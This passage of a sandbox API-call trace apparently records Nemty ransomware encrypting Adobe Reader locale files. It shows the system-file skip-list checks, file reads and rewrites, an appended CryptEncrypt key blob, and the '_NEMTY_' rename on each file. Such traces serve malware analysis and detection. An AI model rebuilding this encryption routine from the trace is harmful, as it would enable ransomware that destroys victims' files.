| out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.POL", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.POL", lpUsedDefaultChar=0x0) returned 11 [0180.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.948] Sleep (dwMilliseconds=0x5) [0180.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f8192b0, dwHighDateTime=0x1d561e8)) [0180.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f8192b0, dwHighDateTime=0x1d561e8)) [0180.958] GetLastError () returned 0x0 [0180.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.958] GetLastError () returned 0x0 [0180.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.958] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.958] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.958] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.958] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="lTJ/ZuXFrjisuNylWakCMJ+TAqhy89vGjTqbO5oRPpWArWf/n/vQSD6gcXzwh8tv\r\nWlr/uk8fexMsRamkFJFJVKcKDWjlpxYr5fPMVxP1OUsZnUoPX/9OZ/rZAmLbEYCc\r\nqFtuLlR9o5RX7YN9li4iqmmT7uLVgmcw4L6kbMCvmh8rUc9EfVqFUOkRWAOL44qm\r\n1tTuz01czxaryWJsv54tl/mx5QbgxDJgO/zLZ4oOjPfSBVwbp1RAA6WTtJ8TEKCU\r\nuPSvBZksLlVH60UtWa2Y3QmzlZ22O2T9fePyopddwR/pBIQ5EmEcMc9Il0//ufj2\r\nbpDagHFxVlK7f8P8p6A7Aw==\r\n", pcchString=0x653e5dc) returned 1 [0180.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.958] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\EScript.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\escript.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.959] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=40960) returned 1 [0180.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa000) returned 0x6352c48 [0180.959] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.959] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa000, lpOverlapped=0x0) returned 1 [0180.963] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.963] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa000, lpOverlapped=0x0) returned 1 [0180.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.963] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=40960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa000 [0180.963] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.963] CloseHandle (hObject=0x2e8) returned 1 [0180.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.963] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.963] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.964] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\EScript.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\escript.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\EScript.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\escript.pol._nemty_kgobjgd_")) returned 1 [0180.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.964] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.POL", cAlternateFileName="")) returned 1 [0180.964] lstrcmpiW (lpString1="IA32.POL", lpString2=".") returned 1 [0180.964] lstrcmpiW (lpString1="IA32.POL", lpString2="..") returned 1 [0180.964] lstrcmpiW (lpString1="IA32.POL", lpString2="...") returned 1 [0180.964] lstrcmpiW (lpString1="IA32.POL", lpString2="windows") returned -1 [0180.965] lstrcmpiW (lpString1="IA32.POL", lpString2="$RECYCLE.BIN") returned 1 [0180.965] lstrcmpiW (lpString1="IA32.POL", lpString2="rsa") returned -1 [0180.965] lstrcmpiW (lpString1="IA32.POL", lpString2="NTDETECT.COM") returned -1 [0180.965] lstrcmpiW (lpString1="IA32.POL", lpString2="ntldr") returned -1 [0180.965] lstrcmpiW (lpString1="IA32.POL", lpString2="MSDOS.SYS") returned -1 [0180.965] lstrcmpiW (lpString1="IA32.POL", lpString2="IO.SYS") returned -1 [0180.965] lstrcmpiW (lpString1="IA32.POL", lpString2="boot.ini") returned 1 [0180.965] lstrcmpiW (lpString1="IA32.POL", lpString2="boot.ini") returned 1 [0180.965] lstrcmpiW (lpString1="IA32.POL", lpString2="AUTOEXEC.BAT") returned 1 [0180.965] lstrcmpiW (lpString1="IA32.POL", lpString2="ntuser.dat") returned -1 [0180.965] lstrcmpiW (lpString1="IA32.POL", lpString2="desktop.ini") returned 1 [0180.965] lstrcmpiW (lpString1="IA32.POL", lpString2="CONFIG.SYS") returned 1 [0180.965] lstrcmpiW (lpString1="IA32.POL", lpString2="RECYCLER") returned -1 [0180.965] lstrcmpiW (lpString1="IA32.POL", lpString2="BOOTSECT.BAK") returned 1 [0180.965] lstrcmpiW (lpString1="IA32.POL", lpString2="bootmgr") returned 1 [0180.965] lstrcmpiW (lpString1="IA32.POL", lpString2="programdata") returned -1 [0180.965] lstrcmpiW (lpString1="IA32.POL", lpString2="appdata") returned 1 [0180.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.POL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.POL", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.POL", lpUsedDefaultChar=0x0) returned 8 [0180.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.POL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.POL", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.POL", lpUsedDefaultChar=0x0) returned 8 [0180.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.POL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.POL", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.POL", lpUsedDefaultChar=0x0) returned 8 [0180.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.POL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.POL", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.POL", lpUsedDefaultChar=0x0) returned 8 [0180.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.966] Sleep (dwMilliseconds=0x5) [0180.974] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f83f410, dwHighDateTime=0x1d561e8)) [0180.974] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f83f410, dwHighDateTime=0x1d561e8)) [0180.974] GetLastError () returned 0x0 [0180.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.974] GetLastError () returned 0x0 [0180.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.974] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.974] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.974] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0180.974] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="TqmKbvG/Qlg+tF1wtPvxm0nk+hgpoueR3oc6jMxu5lw0IfQifOw7F8upSaWMviRR\r\nKpumpHbR4lgMwbfV3uHf460F80Rex13hFrV1pu9ABGzQEoWjpz90ulo36a5xbNgR\r\nRQAokwd5MkkL7gkEZ1FuQBd8Og3ltPzOSQHwBXHkUt9nemIBGRPLJtdFm56tpZ7K\r\n8qYaTv1sNQG38EvkP8b60nW5XNsCd2ZWYIoCRbeSITZi/4nxwswn3rCwtEhTk9e5\r\nb9o+acbLaKXvK0ZQyTc8O9FWawEnuPMHO/Xt9swfgxMFmcAHKCi76YgAzHgc1sAz\r\nwcOXcRqO8NwZ8Iz2f3kbBw==\r\n", pcchString=0x653e5dc) returned 1 [0180.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0180.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.974] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\IA32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ia32.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.975] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0180.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0180.975] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.975] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0180.977] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.977] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0180.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0180.977] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0180.977] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.978] CloseHandle (hObject=0x2e8) returned 1 [0180.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0180.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0180.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0180.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.978] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\IA32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ia32.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\IA32.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ia32.pol._nemty_kgobjgd_")) returned 1 [0180.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0180.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.979] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.POL", cAlternateFileName="MAKEAC~1.POL")) returned 1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2=".") returned 1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="..") returned 1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="...") returned 1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="windows") returned -1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="$RECYCLE.BIN") returned 1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="rsa") returned -1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="NTDETECT.COM") returned -1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="ntldr") returned -1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="MSDOS.SYS") returned -1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="IO.SYS") returned 1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="boot.ini") returned 1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="boot.ini") returned 1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="AUTOEXEC.BAT") returned 1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="ntuser.dat") returned -1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="desktop.ini") returned 1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="CONFIG.SYS") returned 1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="RECYCLER") returned -1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="BOOTSECT.BAK") returned 1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="bootmgr") returned 1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="programdata") returned -1 [0180.979] lstrcmpiW (lpString1="makeaccessible.POL", lpString2="appdata") returned 1 [0180.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.POL", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0180.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.POL", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.POL", lpUsedDefaultChar=0x0) returned 18 [0180.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0180.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.POL", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0180.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.POL", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.POL", lpUsedDefaultChar=0x0) returned 18 [0180.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.980] HeapFree (in: hHeap=0x4f90000, 